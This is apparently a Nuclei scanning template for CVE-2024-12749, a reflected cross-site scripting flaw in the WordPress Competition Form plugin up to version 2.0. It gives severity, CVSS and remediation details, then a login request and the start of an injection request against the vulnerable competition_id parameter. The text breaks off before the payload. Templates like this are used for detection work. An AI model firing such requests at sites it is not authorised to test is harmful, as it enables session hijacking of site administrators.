id: CVE-2024-12749
info:
name: WordPress Competition Form Plugin <= 2.0 - Cross-Site Scripting
author: Sourabh-Sahu
severity: high
description: |
Competition Form WordPress plugin <= 2.0 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before outputting it in the page, letting attackers execute malicious scripts in the context of high privilege users, exploit requires victim to visit a maliciously crafted page.
impact: |
Attackers can execute malicious scripts in the context of high privilege users, potentially leading to session hijacking or privilege escalation.
remediation: |
Update to the latest version of the plugin where the issue is fixed.
reference:
- https://wpscan.com/vulnerability/478316b9-9f47-4aa6-92c6-03879f16a3e5/
- https://nvd.nist.gov/vuln/detail/CVE-2024-12749
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
cvss-score: 7.1
cve-id: CVE-2024-12749
cwe-id: CWE-79
epss-score: 0.0056
epss-percentile: 0.41991
cpe: cpe:2.3:a:raiserweb:competition_form:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: raiserweb
product: competition_form
tags: cve,cve2024,competition-form,wordpress,wp,wp-plugin,xss,authenticated
flow: http(1) && http(2)
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to=
matchers:
- type: dsl
dsl:
- contains(header, "wordpress_logged_in")
internal: true
- raw:
- |
GET /wp-admin/admin.php?page=entries&competition_id={$competition_id}">